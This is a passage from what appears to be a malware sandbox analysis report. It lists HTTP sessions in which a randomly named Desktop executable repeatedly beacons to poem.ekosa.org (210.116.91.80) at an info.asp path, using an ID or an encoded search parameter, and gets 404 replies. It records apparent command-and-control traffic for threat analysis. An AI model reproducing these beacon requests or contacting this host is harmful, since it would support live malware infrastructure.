2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.4	49791	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:13.009207964 CET	398	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:13.444442034 CET	398	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:12 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
270	192.168.2.4	50050	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:33.658216000 CET	5324	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:33.928900003 CET	5325	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:33 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
271	192.168.2.4	50051	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:34.205075979 CET	5325	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:34.469141006 CET	5326	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:33 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
272	192.168.2.4	50052	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:34.868999004 CET	5327	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:35.131473064 CET	5327	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:35 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
273	192.168.2.4	50053	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:35.851495981 CET	5328	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:36.114909887 CET	5328	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:35 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
274	192.168.2.4	50054	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:36.384987116 CET	5329	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:36.649343967 CET	5330	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:36 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
275	192.168.2.4	50055	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:36.917159081 CET	5330	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:37.174726009 CET	5331	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:36 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
276	192.168.2.4	50056	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:37.555005074 CET	5332	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:37.816874981 CET	5332	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:37 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
277	192.168.2.4	50057	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:38.085321903 CET	5333	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:38.348088026 CET	5333	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:37 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
278	192.168.2.4	50058	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:38.628407001 CET	5334	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:38.896718025 CET	5335	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:38 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
279	192.168.2.4	50059	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:39.297255039 CET	5335	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
